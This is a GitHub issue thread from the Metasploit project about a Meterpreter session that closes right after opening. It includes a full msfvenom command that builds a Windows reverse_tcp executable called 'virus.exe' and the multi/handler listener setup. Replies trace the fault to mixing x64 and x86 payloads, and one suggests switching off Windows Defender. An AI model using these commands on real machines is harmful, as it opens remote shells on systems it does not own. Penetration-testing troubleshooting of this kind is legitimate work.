metasploit-framework icon indicating copy to clipboard operation
metasploit-framework copied to clipboard

Meterpreter session opens then dies instantly

Open connerdassen opened this issue 8 years ago • 8 comments

Steps to reproduce

  1. generate payload using msfvenom -p windows/x64/meterpreter/reverse_tcp --platform windows -a x64 -f exe LHOST=192.168.1.115 LPORT=4444 -o virus.exe
  2. upload file to target computer (on local network)
  3. start the handler:

$ msfconsole msf > use multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.1.115 lhost => 192.168.1.115 msf exploit(handler) > set lport 4444 lport => 4444 msf exploit(handler) > exploit [*] exploit running as background job 6.

  1. Disabled antivirus since it was detecting the payload as malware and started the payload on the target machine.

Expected behavior

A meterpreter shell should open

Current behavior

[] Sending stage (171583 bytes) to 192.168.1.50 [] Meterpreter session 1 opened (192.168.1.115:4444 -> 192.168.1.50:52362) at 2018-02-06 16:55:37 + 0100 [+] negotiating tlv encryption [*] 192.168.1.50 - Meterpreter session 8 closed. Reason: Died

The session is created and then closes instantly. I didn't use any encoders or badchars, nor am I using multiple routers or a VPN.

System stuff

Metasploit version

4.16.4-dev

I installed Metasploit with:

Kali package via apt

OS

Kali Linux 2017.2

connerdassen avatar Feb 06 '18 16:02 connerdassen

That is a tremendously old version. Please update.

busterb avatar Feb 06 '18 16:02 busterb

@busterb an old version of Metasploit?

connerdassen avatar Feb 06 '18 16:02 connerdassen

And your stager is set to x64 and your listener is x86. Don't mix your architectures.

On 7 Feb. 2018 02:34, "connerdassen" [email protected] wrote:

@busterb https://github.com/busterb an old version of Meterpreter?

— You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/9514#issuecomment-363481070, or mute the thread https://github.com/notifications/unsubscribe-auth/AABw4ItuuM-ZnHH18Tf-qLARykBVpK4xks5tSH70gaJpZM4R7U2n .

OJ avatar Feb 06 '18 21:02 OJ

image

OJ avatar Feb 06 '18 23:02 OJ

This is great for Windows, but what about Linux 64 bit?

chezis45 avatar Nov 30 '18 07:11 chezis45

This is great for Windows, but what about Linux 64 bit?

Metasploit supports Linux x86 meterpreter payloads and Linux 64 meterpreter payloads. You can set payload linux/x86/meterpreter/reverse_tcp and set payload linux/x64/meterpreter/reverse_tcp respectively.

bcoles avatar Nov 30 '18 07:11 bcoles

Microsoft updated Windows 7's Defender to nearly match Windows 10's (big difference is Cortana). Maybe you forgot to switch that off?

elogada avatar Nov 30 '18 11:11 elogada

Hy Everybodies, this issues are generally caused from the reason listed in this very helful article. Hoping that can help. https://www.infosecmatter.com/why-is-your-meterpreter-session-dying-try-these-fixes/

gioguanuo avatar Jan 25 '21 09:01 gioguanuo